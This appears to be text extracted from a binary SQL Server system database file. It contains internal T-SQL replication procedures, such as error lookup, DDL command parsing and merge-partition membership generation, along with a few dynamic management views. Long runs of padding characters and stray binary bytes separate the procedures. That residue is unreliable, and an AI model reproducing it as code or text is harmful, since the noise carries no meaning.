!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~
`4<(4"0N[c@ Z8create procedure sys.sp_MSget_repl_error 
(
    @id int
)
as
begin
    set nocount on
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    select  source_type_id, source_name, error_code, error_text, 
            sys.fn_replformatdatetime(time),
            error_type_id, 
			'has_xact_seqno' = case when xact_seqno is null or xact_seqno = 0x0
				then convert(bit, 0) else convert(bit, 1) end,
			xact_seqno, command_id
        from dbo.MSrepl_errors
        where
            id = @id and
            -- rows with error_type_id are placeholders
            error_type_id IS NOT NULL
        order by time ASC
end
0je 8--
-- Name: sp_replgetparsedddlcmd
--
-- Description: This helper sproc strips out the first part 
--	of DDL cmd, up to the point right after object name.
--	
--
-- Parameters: 	
--	@ddlcmd nvarchar(max)
--	,@FirstToken sysname
--	,@objectType sysname	-- comlete form: e.g. procedure/function/tigger
--	,@dbname sysname		-- not quoted
--	,@owner sysname			-- not quoted
--	,@objname sysname		-- not quoted
--	,@targetobject nvarchar(512)-- applies to alter trigger only
--
-- Returns: nvarchar(max) 
--
-- Notes: this is an internal helper function which assumes
--	incoming @ddlcmd is always valid, it strips out the first 
--	part of ddl so we can reconstruct with alternate
--	destination table/owner if so desired, it also helps to 
--	to avoid blandly sending DDL with fully qualified table 
--	name including publisher database:
--	e.g. 
--	sp_replgetparsedddlcmd
-- 							N'table pubs.dbo.authors add newcol1 int'
--							,'alter'
--							,'table'
--							,'pubs'
--							,'dbo'
--							,'authors'
--	should return: N'add newcol1 int'
--		
-- Security: not exposed to public
-- 
create procedure sys.sp_replgetparsedddlcmd 
       @ddlcmd nvarchar(max) OUTPUT
	,@FirstToken sysname
	,@objectType sysname	-- comlete form: e.g. procedure/function/tigger
	,@dbname sysname		-- not quoted
	,@owner sysname			-- not quoted
	,@objname sysname		-- not quoted
	,@targetobject nvarchar(512)-- applies to alter trigger only
as
begin
declare @left_quote bigint
		,@right_quote bigint
		,@first_space tinyint
		,@ddlcmd_len bigint
		,@ddloffset nvarchar(max)
		,@trigger_dbname sysname
		,@trigger_owner sysname
		,@trigger_objname sysname
		
-- start with striping off ALTER at the begining
set @ddloffset = ltrim(right(@ddlcmd, len(@ddlcmd) - len(@FirstToken)))

-- strip out any possible comments between alter and next token
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)
set @ddlcmd_len = len(@ddloffset)

-- now strip out objectType token, 
-- remember, this function is only used by DDL trigger where we know @ddlcmd coming in is valid
-- watch out for space after the second token, e.g. alter proc instead of alter procedure
-- watch out for comments, e.g. alter proc/*..*/myproc instead of alter procedure
set @first_space = patindex('% %', @ddloffset)
set @left_quote = patindex('%/*%', @ddloffset)
if (@first_space > 0 and @first_space < len(@objectType))
	or (@left_quote > 0 and @left_quote < len(@objectType))
begin
	if (@first_space > 0) and (@left_quote > 0)
	begin
		if (@left_quote > @first_space)
			set @left_quote = @first_space
	end
	else if (@first_space > 0) and (@left_quote = 0)
		set @left_quote = @first_space
end
else
	set @left_quote = len(@objectType) + 1
set @ddloffset = ltrim(substring(@ddloffset, @left_quote, @ddlcmd_len - @left_quote + 1))

-- strip out any possible comments between @ObjectType token and object name
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)

-- now strip out object name
-- deal with the following possibilities: w or w/o quotes
-- [db].[owner].[obj]
set @ddloffset = sys.fn_replremovefullobj(@ddloffset, @dbname, @owner, @objname)

-- might as well strip out any possible comments between object name and definition
set @ddloffset = sys.fn_replremoveleadingcomments(@ddloffset)

--alter trigger trigger_name on [db].[owner].[obj] as .... has the same issue, parse to the point before as
--so we can substitute with alter trigger trigger_name on [dest_owner].[dest_obj] as 
if UPPER(@objectType) = N'TRIGGER' and @targetobject is not NULL and len(@targetobject) > 0
begin 
	-- remove leading white space char
	declare @pos int
	select @pos=charindex(N'on ', @ddloffset)
	set @ddloffset = substring(@ddloffset, @pos, len(@ddloffset)-@pos+1) 
	
	set @ddloffset = ltrim(right(@ddloffset, len(@ddloffset) - len(N'on ')))

	set @trigger_dbname = isnull(parsename(@targetobject, 3), @dbname)
	set @trigger_owner = isnull(parsename(@targetobject, 2), @owner)
	set @trigger_objname = isnull(parsename(@targetobject, 1), @objname)
	
	set @ddloffset = sys.fn_replremovefullobj(@ddloffset, @trigger_dbname, @trigger_owner, @trigger_objname)
end
set @ddlcmd=@ddloffset
return 0
end
03f D8UhK	 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`%<W2KI\0Y@ 8CREATE VIEW sys.dm_server_audit_status AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_AUDIT_STATUS) 
0@ 28
-- add it
create view sys.dm_pdw_request_steps as
select
	request_id	collate database_default request_id,
	step_index,
	operation_type	collate database_default operation_type,
	distribution_type	collate database_default distribution_type,
	location_type	collate database_default location_type,
	status		collate database_default status,
	error_id	collate database_default error_id,
	start_time,
	end_time,
	total_elapsed_time,
	row_count,
	command		collate database_default command
from sys._dm_pdw_request_steps
0! >8
-- This proc is called by distribution agent.
create procedure sys.sp_MSget_attach_state
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int
AS
    set nocount on
    declare @retcode int

    --  Security Check
    --  We only run on subscriber so we only need sysadmin and dbo
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    
    -- For non independent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

    select attach_state, attach_version from MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`]*
<nFȃ0@ 8CREATE VIEW sys.dm_db_task_space_usage AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_TASK_SPACE_USAGE)
0@ 8create procedure sys.sp_MSscript_delete_subwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
	,@artid int				-- article id
)
as
begin
	declare @cmd nvarchar(4000)
			,@qualname nvarchar(517)

	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QSubWins)
	begin
		'+N'--
		'+N'-- Subscriber wins resolution
		'+N'-- 
		if (@cftcase = 31)
		begin
			'+N'--
			'+N'-- delete row with PK
			'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate the delete statement
	--
	select @cmd = N'
			delete ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
	--
	-- continue with scripting
	--
	select @cmd = N'			
		end

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- all done for conflict resolution for Subscriber Wins policy
		'+N'-- --------------------------------------------------------------------
		'+N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )	
	--
	-- all done
	--
	return 0
end
0 P8&5h>D/0 P8ih&>'BL
0 8--
-- Name: fn_replcomposepublicationsnapshotfolder
--
-- Description: This mimics the algorithm used by the snapshot agent for 
--              composing the name of a publication's snapshot folder.
--
-- Parameters:  @publisher    sysname
--              @publisher_db sysname 
--              @publication  sysname
--
-- Notes: 
--
-- Returns: nvarchar(255)
--
-- Security: Execute permission of this function is granted to public.
--
create function sys.fn_replcomposepublicationsnapshotfolder(
    @publisher     sysname,
    @publisher_db  sysname,
    @publication   sysname,
    @toupper       bit
) returns nvarchar(255)
as
begin
    declare @snapshot_folder_name nvarchar(255)
    
    if @toupper = 1
    begin
        set @publisher = upper(@publisher)
        set @publisher_db = upper(@publisher_db)
        set @publication = upper(@publication)
    end

    select @snapshot_folder_name = sys.fn_replaceinvalidfilenamesymbols(sys.fn_replgenerateshorterfilenameprefix(REPLACE(@publisher,'\','$'),30) collate database_default) collate database_default + N'_' +
                                   sys.fn_replaceinvalidfilenamesymbols(sys.fn_replgenerateshorterfilenameprefix(@publisher_db,30) collate database_default) collate database_default + N'_' +
                                   sys.fn_replaceinvalidfilenamesymbols(sys.fn_replgenerateshorterfilenameprefix(@publication,30) collate database_default) collate database_default
    return @snapshot_folder_name
end
0@ 8
create procedure sys.sp_MSgetonerow
    (@tablenick int,
     @rowguid uniqueidentifier,
     @pubid uniqueidentifier = NULL)
as
    declare @retcode    smallint
    declare @procname   sysname

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    select @procname = 'dbo.' + select_proc from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid
    
    exec @retcode = @procname @maxschemaguidforarticle = NULL, @type =1, @rowguid=@rowguid
    IF @@ERROR<>0 or @retcode<>0 RETURN (1)
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<[K) 0v& C8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSgenerate_articlechangemembershipevaluation_proc (@pubid uniqueidentifier, @article_nickname int) 
as
begin

    declare @partition_view_name nvarchar(270), 
            @retcode int, 
            @artid uniqueidentifier, 
            @guidstr nvarchar(40), 
            @pubidstr nvarchar(40),
            @membership_eval_proc_name nvarchar(130),
            @objid int,
            @rgcol nvarchar(270),
            @dbname nvarchar(130),
            @cmd nvarchar(max),
            @quoted_membership_eval_proc_name nvarchar(258)

    select @artid = artid, @objid = objid from dbo.sysmergearticles 
    where nickname = @article_nickname and pubid = @pubid
    
    select @partition_view_name = quotename(object_name(partition_view_id)), @membership_eval_proc_name = membership_eval_proc_name 
    from dbo.sysmergepartitioninfo
    where artid = @artid and pubid = @pubid
    
    if @partition_view_name is null
        return 0 -- too early. sp_MSpublicationview has not been called yet.

    if @membership_eval_proc_name is not null
    begin
        if object_id (@membership_eval_proc_name) is not null
        begin
            set @quoted_membership_eval_proc_name= quotename(@membership_eval_proc_name)
            exec ('drop procedure dbo.' + @quoted_membership_eval_proc_name)
        end

        update dbo.sysmergepartitioninfo set membership_eval_proc_name = NULL 
        where artid = @artid and pubid = @pubid
    end

    select @rgcol = quotename(name) from sys.columns where object_id = @objid and is_rowguidcol = 1

    select @dbname = db_name()

    exec @retcode = dbo.sp_MSguidtostr @artid, @guidstr out
    if @@ERROR <>0 OR @retcode <>0 return (1)

    exec @retcode = dbo.sp_MSguidtostr @pubid, @pubidstr out
    if @@ERROR <>0 OR @retcode <>0 return (1)

    declare @publication_number smallint
    select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

    select @membership_eval_proc_name = 'MSmerge_evalmembership_sp_' + sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)
    if object_id (@membership_eval_proc_name) is not null
    begin
        set @quoted_membership_eval_proc_name= quotename(@membership_eval_proc_name)
        exec ('drop procedure dbo.' + @quoted_membership_eval_proc_name)
        if @@error<>0 return 1
    end
    
    set @quoted_membership_eval_proc_name= quotename(@membership_eval_proc_name)
    
    select @cmd = N'create procedure dbo.' + @quoted_membership_eval_proc_name + ' @partition_id int = NULL, @rowguid uniqueidentifier = NULL, @marker uniqueidentifier = NULL as
    begin
        if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
        if @partition_id is not null
        begin
            insert into dbo.MSmerge_current_partition_mappings (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
            from dbo.MSmerge_contents mc
            JOIN ' + @partition_view_name + ' v
            ON mc.tablenick = ' + convert(nvarchar(11), @article_nickname) + '
            and mc.rowguid = v.' + @rgcol + '
            and v.partition_id = @partition_id
            where not exists (select * from dbo.MSmerge_current_partition_mappings mcpm 
                                where mcpm.publication_number = ' + convert(nvarchar, @publication_number) + '
                                and mcpm.tablenick = mc.tablenick 
                                and mcpm.rowguid = mc.rowguid 
                                and mcpm.partition_id = v.partition_id)
        end
        else if @marker is not null
        begin
			insert into dbo.MSmerge_current_partition_mappings (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
                from dbo.MSmerge_contents mc
                JOIN ' + @partition_view_name + ' v
                ON mc.tablenick = ' + convert(nvarchar(11), @article_nickname) + '
                and mc.rowguid = v.' + @rgcol + '
                and mc.marker = @marker
                where not exists (select * from dbo.MSmerge_current_partition_mappings mcpm 
                                where mcpm.publication_number = ' + convert(nvarchar, @publication_number) + '
                                and mcpm.tablenick = mc.tablenick 
                                and mcpm.rowguid = mc.rowguid 
                                and mcpm.partition_id = v.partition_id)
        end
        else
        begin
            if @rowguid is null
                insert into dbo.MSmerge_current_partition_mappings (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
                from dbo.MSmerge_contents mc
                JOIN ' + @partition_view_name + ' v
                ON mc.tablenick = ' + convert(nvarchar(11), @article_nickname) + '
                and mc.rowguid = v.' + @rgcol + '
                where not exists (select * from dbo.MSmerge_current_partition_mappings mcpm 
                                where mcpm.publication_number = ' + convert(nvarchar, @publication_number) + '
                                and mcpm.tablenick = mc.tablenick 
                                and mcpm.rowguid = mc.rowguid 
                                and mcpm.partition_id = v.partition_id)
            else
                insert into dbo.MSmerge_current_partition_mappings (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', ' + convert(nvarchar(11), @article_nickname) + ', @rowguid, v.partition_id
                from ' + @partition_view_name + ' v
                where v.' + @rgcol + ' = @rowguid
                and not exists (select * from dbo.MSmerge_current_partition_mappings mcpm 
                                where mcpm.publication_number = ' + convert(nvarchar, @publication_number) + '
                                and mcpm.tablenick = ' + convert(nvarchar(11), @article_nickname) + ' 
                                and mcpm.rowguid = @rowguid 
                                and mcpm.partition_id = v.partition_id)
        end
    end'

    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if @@ERROR<>0 OR @retcode <>0 return (1)
    
    exec @retcode = dbo.sp_MS_marksystemobject    @membership_eval_proc_name 
    if @@ERROR<>0 OR @retcode <>0 return (1)
    
    exec ('grant exec on dbo.' + @quoted_membership_eval_proc_name + ' to public')
    if @@ERROR<>0 return (1)

    update dbo.sysmergepartitioninfo set membership_eval_proc_name = @membership_eval_proc_name 
    where artid = @artid and pubid = @pubid

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``	<$K+ݗ0 8
create procedure sys.sp_tablecollations
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_28,
        "collation"         = s_tcv.collation_28
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
0« 8
create procedure sys.sp_MSmodify_boolfilterclause (@bool_filterclause nvarchar(4000), @bool_filterclause_modified nvarchar(4000) OUTPUT) as
begin
    
    declare @func sysname, @func_no_parens sysname, @func_no_parens_to_replace_with sysname, @index int, @ilooper int, @cur_char nvarchar(1),
            @found_left_paren bit, @remaining_string nvarchar(4000), @offset_of_remaining_string int, @msp_column nvarchar(400)
            
    -- Len function ignores trailing blanks, so let's remove all trailing (and leading) blanks.
    select @bool_filterclause = ltrim(rtrim(@bool_filterclause))

    -- The reason we order by len of function name in the following cursor is to eliminate problems due to one function name contained
    -- in another. For example, user_name() is contained within suser_name(). So processing suser_name() before user_name() is important.
    declare functions_used CURSOR LOCAL FAST_FORWARD FOR 
    select function_name_with_parens, function_name_without_parens
    from #list_of_functions 
    order by len(function_name_with_parens) desc
    FOR READ ONLY

    open functions_used
    fetch next from functions_used into @func, @func_no_parens_to_replace_with
                 
    while (@@fetch_status <> -1)
    begin

        select @func_no_parens = substring (@func, 1, len(@func)-2)
        select @msp_column = 'msp.' + quotename(ltrim(rtrim(@func_no_parens_to_replace_with)) + '_FN') + ' '
        
        if exists (select * from sys.columns 
					where object_id = object_id('dbo.MSmerge_partition_groups') 
					and name = quotename(ltrim(rtrim(@func_no_parens)) + '_FN')
					and type_name(user_type_id) in ('char', 'varchar', 'nchar', 'nvarchar'))
		begin
			select @msp_column = @msp_column + 'collate ' + convert(nvarchar(100),databasepropertyex(db_name(), N'COLLATION')) + ' '
		end

        select @remaining_string = @bool_filterclause
        select @offset_of_remaining_string = 1
        select @index = charindex (@func_no_parens collate SQL_Latin1_General_CP1_CI_AS, 
                                            @remaining_string collate SQL_Latin1_General_CP1_CI_AS)

        while (@index <> 0)
        begin
        
            -- Make sure that this pattern match is indeed a function call. Look for the opening and closing 
            -- parentheses. Note that there could be white space characters after the end of the function name
            -- and before the closing parenthesis.
            select @ilooper = @index + len(@func_no_parens)
            
            select @found_left_paren = 0
        
            while (@ilooper <= len(@remaining_string))
            begin
                select @cur_char = substring (@remaining_string, @ilooper, 1)
                if @cur_char = char(0x20) or @cur_char = char(0x09) or @cur_char = char(0x0D) or @cur_char = char(0x0A)
                begin
                    select @ilooper = @ilooper + 1
                    continue
                end
                                                                                                
                else if @cur_char = '(' and @found_left_paren = 0
                begin
                    select @found_left_paren = 1
                    select @ilooper = @ilooper + 1
                    continue
                end
                                                                                                    
                else if @cur_char = ')' and @found_left_paren = 1
                begin
                    -- The following lines of code are hairier than they look. Please make sure you know what you are doing
                    -- before modifying them.
                    select @bool_filterclause = stuff(@bool_filterclause, @offset_of_remaining_string + @index -1, @ilooper - @index + 1, @msp_column)        
                    select @offset_of_remaining_string = @offset_of_remaining_string + @index-1 + len(@msp_column)
                    select @remaining_string = right (@bool_filterclause, len(@bool_filterclause) - (@offset_of_remaining_string - 1))
                    select @index = charindex (@func_no_parens collate SQL_Latin1_General_CP1_CI_AS, 
                                                        @remaining_string collate SQL_Latin1_General_CP1_CI_AS)
                    break
                end
                else
                begin
                    select @offset_of_remaining_string = @offset_of_remaining_string + @ilooper-1
                    -- we have run into something that indicates that this pattern is not a function invocation. skip it, and look for the next one
                    select @remaining_string = right (@bool_filterclause, len(@bool_filterclause)-(@offset_of_remaining_string - 1))
                    select @index = charindex (@func_no_parens collate SQL_Latin1_General_CP1_CI_AS, 
                                                        @remaining_string collate SQL_Latin1_General_CP1_CI_AS)
                    break
                end
            end -- on to the next character in search of our opening and closing parenthesis after a pattern match
        end -- look for more occurrences of this function in the filter clause
    fetch next from functions_used into @func, @func_no_parens_to_replace_with
    end -- next function name from cursor

    select @bool_filterclause_modified = ' (' + @bool_filterclause + ') '

    close functions_used
    deallocate functions_used
    
    return 0

end -- end of proc
